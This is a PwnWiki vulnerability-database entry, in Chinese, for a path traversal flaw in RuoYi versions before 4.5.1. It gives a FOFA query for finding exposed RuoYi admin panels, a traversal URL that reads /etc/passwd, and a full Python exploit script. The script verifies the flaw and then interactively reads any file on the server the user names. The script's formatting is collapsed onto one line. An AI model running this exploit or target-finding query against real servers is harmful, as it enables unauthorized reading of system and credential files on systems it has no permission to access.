免费、自由、人人(PwnWiki.Com)可编辑的漏洞库
,
漏洞影响
RuoYi < v4.5.1
FOFA语法
app="若依-管理系统" && body="admin"
漏洞利用
访问
https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd
这将下载文件/etc/passwd
可以使用Burp抓包改变/etc/passwd
为其他文件路径获取敏感信息。
POC
import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \03334mPOC_Des: http://wiki.peiqi.tech \0330m') print('+ \03334mVersion: RuoYi < v4.5.1 \0330m') print('+ \03336m使用格式: python3 poc.py \0330m') print('+ \03336mUrl >>> http://xxx.xxx.xxx.xxx \0330m') print('+ \03336mCookie >>> JSESSIONID=xxxxxx \0330m') print('+ \03336mFile >>> /etc/passwd \0330m') print('+------------------------------------------') def POC_1(target_url, Cookie): vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie":Cookie } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("\03332mo 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \0330m".format(target_url)) if "root" in response.text and response.status_code == 200: print("\03332mo 目标 {}存在漏洞 ,成功读取 /etc/passwd \0330m".format(target_url)) print("\03332mo 响应为:\n{} \0330m".format(response.text)) while True: Filename = input("\03335mFile >>> \0330m") if Filename == "exit": sys.exit(0) else: POC_2(target_url, Cookie, Filename) else: print("\03331mx 请求失败 \0330m") sys.exit(0) except Exception as e: print("\03331mx 请求失败 \0330m", e) def POC_2(target_url, Cookie, Filename): vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../{}".format(Filename) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie":Cookie } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("\03332mo 响应为:\n{} \0330m".format(response.text)) except Exception as e: print("\03331mx 请求失败 \0330m", e) if __name__ == '__main__': title() target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m")) Cookie = str(input("\03335mCookie >>> \0330m")) POC_1(target_url, Cookie)
免费、自由、人人可编辑的漏洞库--pwnwiki.com